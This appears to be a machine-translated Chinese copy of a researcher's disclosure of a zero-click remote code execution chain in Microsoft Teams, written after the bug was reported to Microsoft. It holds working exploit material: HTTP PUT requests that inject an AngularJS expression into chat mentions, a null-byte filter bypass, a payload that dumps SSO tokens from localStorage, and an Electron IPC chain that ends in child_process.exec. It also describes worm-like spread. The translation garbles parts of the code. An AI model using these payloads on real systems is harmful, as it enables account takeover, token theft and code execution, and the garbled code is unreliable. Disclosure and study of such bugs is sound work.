重要,欺骗(MS团队中的零交互RCE)

2020-12-07 21:54:30

Microsoft将此错误链视为“重要”。 (严重程度),"欺骗" (影响)在O365云漏洞赏金计划中。这是可能的最低范围内评级之一。

至少现在我们在同事之间开了个新玩笑-每当我们遇到远程代码执行(RCE)错误时,我们都将其称为“重要,欺骗”。谢谢微软! 😂

公平地说,他们确实将台式机应用程序评为“关键,远程执行代码”,但仅针对“微软积分”!微软的积分使您进入MSRC排行榜。

喜欢阅读这篇文章!这是发送给MSRC的五个零或一键单击Microsoft Teams远程代码执行(“重要,欺骗”)错误链中的第一个。

!️就是这样。 vicim没有进一步的互动。现在,您公司的内部网络,个人文档,O365文档/邮件/便笺,秘密聊天已被完全破坏。想一想。一条消息,一条渠道,没有互动。每个人都被剥削。

因此,让我们对此进行扩展。如果收件人随后将其自动发布到其团队,渠道中怎么办?每个人都被剥削。您知道您可以成为其他组织的客人吗?您的组织可能已经有几个来宾。他们很可能在自己的组织中,而那些组织可能在他们自己的组织中有客人,这些人是……...是的,它可能会变成蠕虫,并在Microsoft Teams网络中传播,至少在一个内部。组织。

该演示几乎无聊-您只需要一个非交互式的单个HTTP请求即可。

收到“重要的欺骗”邮件后,评级后,我发送了一系列要点-我认为对MSRC员工的论点是真正的影响。我希望他们能重新考虑。讨论基本上没有实质性内容,只是重申了评级。每次回复都花了数周时间,每次我都要提醒他们。

如此,大约3个月后,它按原样结束:"重要的欺骗"并且桌面客户端-远程代码执行-超出了范围"。

我的意思是,Microsoft可以将桌面应用程序排除在范围之外,我认为这是荒谬的,因为它被推广为使用Microsoft Teams的主要方式。.但是,任何重要的事情如何呢?到底是什么欺骗? 😀

无需交互即可存储的XSS。影响所有消息传递线程类型-专用,线程,组等。

自复制蠕虫-受害者将有效载荷重新发布到所有联系人,组。每个人都重新发布到联系人,组(访客也可以访问组织,而组织也可以访问自己的组织等)

所有组织用户的SSO令牌窃取-您可以通过XSS在帐户接管中访问所有SSO O365令牌-这意味着可以访问公司邮件,文档,说明以及O365中的所有内容

访问私人对话,消息,文件,通话记录以及您在MS Teams中拥有的所有其他内容

在受害设备上任意执行命令,不受受害者,跨平台(macOS,Windows,Linux)的交互

完全丧失机密性最终用户的完整性-在MS Teams之外访问私人聊天,文件,内部网络,私人密钥和个人数据

曾经想过MS团队如何无缝地'访问您的O365中的所有内容?攻击者不会,而Teams也可以这样做。

报告的视频/媒体附件中包含了另一个通用的电子编辑的RCE有效负载

两种RCE有效负载均允许绕过Microsoft团队特定的Electron应用程序安全性,但可能可以普遍适用于具有类似安全性约束的旧版ElectronJS。

MS Teams ElectronJS安全性:远程要求已禁用&已过滤,nodeIntegration为false,已过滤Web视图创建,并且通常会删除不安全的参数/选项。您不能简单地导入child_process并执行任意代码或使用自定义预加载选项创建Web视图。

好的,注入的模板字符串在一秒钟内是可见的,但是通常您不会看到它-在下一个演示中以及您看不到的Teams中所有其他AngularJS模板字符串中可以证明。我将故障归因于HTTP代理,应用程序普遍运行缓慢,实时重新加载以及它是一个演示程序,因此它一定会失败的事实🙂

空白窗口可以具有任意内容,大小和外观-可疑地为空白因为它是PoC。

无需用户交互,漏洞利用程序会在看到聊天消息后执行。此漏洞利用绕过了Webview限制,并滥用了MS Teams API调用" download"一个文件,并将其用作Webview的预加载(nodeJS上下文)。团队实际上过滤了Webview的创建-过滤了预加载和其他危险的选项,但是这样可以绕过检查。这个想法可能可以在其他较旧的ElectronJS应用程序中使用。

cmd =`open / System / Applications / Calculator.app` //根据需要更改为Windows / linux命令stage1 =`data:text / plain,cp = require(' child_process'); cp.exec( ' $ {cmd}')`; //创建一个虚拟文件以下载此文件。 electronicSafeIpc。发送(`desktopFileDownload`,stage1); //请求下载文件//在下载文件以触发有效载荷this时实现事件处理程序。 electronicSafeIpc。 on(`desktop-file-download-finished`,(_,fileinfo)=> {f = fileinfo。uniqueFile。filePath; //事件为我们提供了我们事先不知道的文件路径//创建一个新webview样机-具有webview标记和我们虚拟下载的文件的窗口,作为预加载stage2 =`data:text / html,< webview src =' about:blank' preload =' file:// / $ {f}'< / webview>`this.electronSafeIpc。send(`allowWindowOpenUrl`,stage2); //滥用MS Teams IPC API允许上面的URL此w.window.open(stage2 ); //打开URL,并使用我们已下载的虚拟下载文件预加载setTimeout(()=> {this。w。close()},1000)//创建// WebView,//不需要,但让我们关闭自定义窗口})

MS Teams桌面中已发现一个“远程执行代码”漏洞,该漏洞可能由team.microsoft.com中的新型XSS(跨站点脚本)注入触发。可以将特制的聊天消息发送到任何Microsoft Teams成员或渠道,这些成员或渠道将在无需用户交互的情况下在受害PC上执行任意代码。

已在所有受支持平台(Windows,macOS,Linux)的桌面应用程序中实现了远程代码执行。代码执行使攻击者可以通过这些设备完全访问受害设备和公司内部网络。

即使没有在受害设备上执行任意代码,使用演示的XSS,攻击者也有可能获得Microsoft Teams和其他Microsoft Services(例如Skype,Outlook,Office365)的SSO授权令牌。此外,XSS漏洞本身允许从MS Teams内部访问机密/私人对话,文件等。

来宾用户可以完全无提示地执行这些攻击,而无需用户干预或损害的迹象。

'蠕虫' -可以自动将漏洞有效载荷重新发布到其他公司,渠道,用户,而无需交互

完全丧失机密性最终用户的完整性-在MS Teams之外访问私人聊天,文件,内部网络,私人密钥和个人数据

访问SSO令牌,从而访问除MS Teams(Outlook,Office365等)之外的其他Microsoft服务

该报告包含一起使用的新的XSS向量和新颖的RCE有效负载。它会影响Microsoft Teams中的聊天系统,并且可以在例如直接消息,渠道。

在直接通讯或频道中输入聊天消息,并在此聊天中提及用户或自定义标签

编辑包含提及内容的聊天消息,并使用HTTP代理(例如Burp Suite)进行拦截

在提及功能方面,易受攻击的参数是{content:" ..."属性:{" mentions" :" [{displayName:PAYLOAD HERE}]&#34 ;: JSON消息结构。

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP / 1.1主机:emea.ng.msg.teams.microsoft.com用户代理:Mozilla / 5.0(Macintosh; Intel Mac OS X 10.15; rv:81.0)Gecko / 20100101 Firefox / 81.0 Accept:json Accept-Language:zh-cn,en; q = 0.5 Accept-Encoding:gzip,deflate Content-Type:application / json身份验证:skypetoken = ...剪... ClientInfo:os = macos; osVer = 10; proc = x86; lcid = zh-cn; deviceType = 1; country = us; clientName = skypeteams; clientVer = 1415 / 1.0.0.2020080725; utcOffset = + 03:00 BehaviorOverride:redirectAs404 Content-Length:1174 {" content&#34 ;:"< div>< div> \ n< div> \ n< div> \ n< div> \ n< div>< span itemscope itemtype = \" http://schema.skype.com/Mention \" itemid = \" 0 \" dada< / span>< / div> \ n< / div> \ n< / div> \ n< / div> \ n< / div> \ n< / div> ","消息类型":" RichText / Html","内容类型":"文本",&#34 ; amsreferences":[]," clientmessageid&#34 ;:" 9868848366534370000&#34 ;," imdisplayname&#34 ;:" Oskars Vegeris" ,"属性":{"重要性&#34 ;:" &#34 ;、"主题:null,"提及&#34 ;:" [{\" @type \&#34 ;: \&#34 ; http://schema.skype.com/Mention \",\" itemid \":0,\" tagId \&#34 ;: \" tHab2TLzpa \",\":\" tHab2TLzpa \",\&mentionType \":\"标记\& #34;,\" displayName \&#34 ;: \" x标记了点\"}]"}}

可以通过在Unicode \ u0000中插入一个空字节char来绕过角度表达式过滤,例如

要访问用户的本地存储和所有SSO令牌,请在上述HTTP PUT请求中的displayName中使用此有效负载。

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP / 1.1主机:emea.ng.msg.teams.microsoft.com用户代理:Mozilla / 5.0(Macintosh; Intel Mac OS X 10.15; rv:81.0)Gecko / 20100101 Firefox / 81.0 Accept:json Accept-Language:zh-cn,en; q = 0.5 Accept-Encoding:gzip,deflate Content-Type:application / json身份验证:skypetoken = ...剪... ClientInfo:os = macos; osVer = 10; proc = x86; lcid = zh-cn; deviceType = 1; country = us; clientName = skypeteams; clientVer = 1415 / 1.0.0.2020080725; utcOffset = + 03:00 BehaviorOverride:redirectAs404 Content-Length:1174 {" content&#34 ;:"< div>< div> \ n< div> \ n< div> \ n< div> \ n< div>< span itemscope itemtype = \" http://schema.skype.com/Mention \" itemid = \" 0 \" dada< / span>< / div> \ n< / div> \ n< / div> \ n< / div> \ n< / div> \ n< / div> ","消息类型&#34 ;:" RichText / Html&#34 ;、" contenttype&#34 ;:" text&#34 ;、&#34 ; amsreferences":[]," clientmessageid&#34 ;:" 9868848366534370000&#34 ;," imdisplayname&#34 ;:" Oskars Vegeris" ,"属性":{"重要性&#34 ;:" &#34 ;、"主题:null,"提及&#34 ;:" [{\" @type \&#34 ;: \&#34 ; http://schema.skype.com/Mention \",\" itemid \":0,\" tagId \&#34 ;: \" tHab2TLzpa \",\":\" tHab2TLzpa \",\&mentionType \":\"标记\& #34;,\" displayName \&#34 ;: \" x标记该点{{{' if(typeof onetime ==`undefined`){onetime = 1; console.log (localStorage);}']。forEach($ root。$$ childHead。$$ nextSibling.app。$ window.eval)} \ u0000} \"}]"}}

无需采取进一步措施。聊天中的所有用户将开始记录其SSO令牌,这些令牌可以被窃取。

您可以通过在Microsoft Teams桌面或任何浏览器中检查开发工具来验证这一点。

开发了一种新颖的远程代码执行有效负载,该负载绕过了Microsoft Teams桌面中当前实施的所有限制(远程需求,节点集成,Webview预加载过滤等),即使启用了contextIsolation,它也可以正常工作。

cmd =`open / Applications / Calculator.app` //根据需要更改为Windows / linux命令stage1 =`data:text / plain,cp = require(' child_process'); cp.exec(&# 39; $ {cmd}')`; //创建一个虚拟文件以下载此文件。 electronicSafeIpc。发送(`desktopFileDownload`,stage1); //请求下载文件//在下载文件以触发有效载荷this时实现事件处理程序。 electronicSafeIpc。 on(`desktop-file-download-finished`,(_,fileinfo)=> {f = fileinfo。uniqueFile。filePath; //事件为我们提供了我们事先不知道的文件路径//创建一个新webview样机-具有webview标记和我们虚拟下载的文件的窗口,作为预加载stage2 =`data:text / html,< webview src =' about:blank' preload =' file:// / $ {f}'< / webview>`this.electronSafeIpc。send(`allowWindowOpenUrl`,stage2); //滥用MS Teams IPC API允许上面的URL此w.window.open(stage2 ); //打开URL,并使用我们已下载的虚拟下载文件预加载setTimeout(()=> {this。w。close()},1000)//创建// WebView,//不需要,但让我们关闭自定义窗口})

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP / 1.1主机:emea.ng.msg.teams.microsoft.com用户代理:Mozilla / 5.0(Macintosh; Intel Mac OS X 10.15; rv:81.0)Gecko / 20100101 Firefox / 81.0 Accept:json Accept-Language:zh-cn,en; q = 0.5 Accept-Encoding:gzip,deflate Content-Type:application / json身份验证:... snip。 .. ClientInfo:os = macos; osVer = 10; proc = x86; lcid = zh-cn; deviceType = 1; country = us; clientName = skypeteams; clientVer = 1415 / 1.0.0.2020080725; utcOffset = + 03:00 BehaviorOverride:redirectAs404 Content-Length:1174 {" content":"< div>< div> \ n< div> \ n< div> \ n< div> ; \ n< div>< span itemscope itemtype = \" http://schema.skype.com/Mention \" itemid = \" 0 \"> dada< / span> // div> \ n< / div> \ n< / div> \ n< / div> \ n< / div> n< / div>","消息类型":" RichText / Html","内容类型":"文本",&# 34; amsreferences":[]," clientmessageid":" 9868848366534370000"," imdisplayname":" Oskars Vegeris",&#34 ; properties":{" importance":""," subject":null,"提及" ::" [ {\" @type \":\" http://schema.skype.com/Mention \",\" itemid \":0, \" tagId \":\" tHab2TLzpa \",\" mri \":\" tHab2TLzpa \",\& #34; mentionType \":\" tag \",\" displayName \":\" x标记该点{{[[' if(typeof saytime ==`undefined`){mentiontime = 1; stage1 =`data:text / plain,cp = require(\\\" child_process \\\\"); cp.exec(\ \\"打开/System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download完成`, (_,fileinfo)=> {f = fileinfo.uniqueFile.filePath; stage2 =`data:text / html,< webview src = \\\" about:blank \\\" preload = \\\" file:/// $ {f} \\\">< / webview>`; this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2); this.w = window.open(stage2); setTimeout(()=> {this.w.close()},2000)})}']。forEach($ root。$$ childHead。$$ nextSibling.app 。$ window.eval)} \ u0000} \"}]"}}

localStorage&&中的SSO令牌标识符列表可从Microsoft Teams中的JavaScript获得cookie参数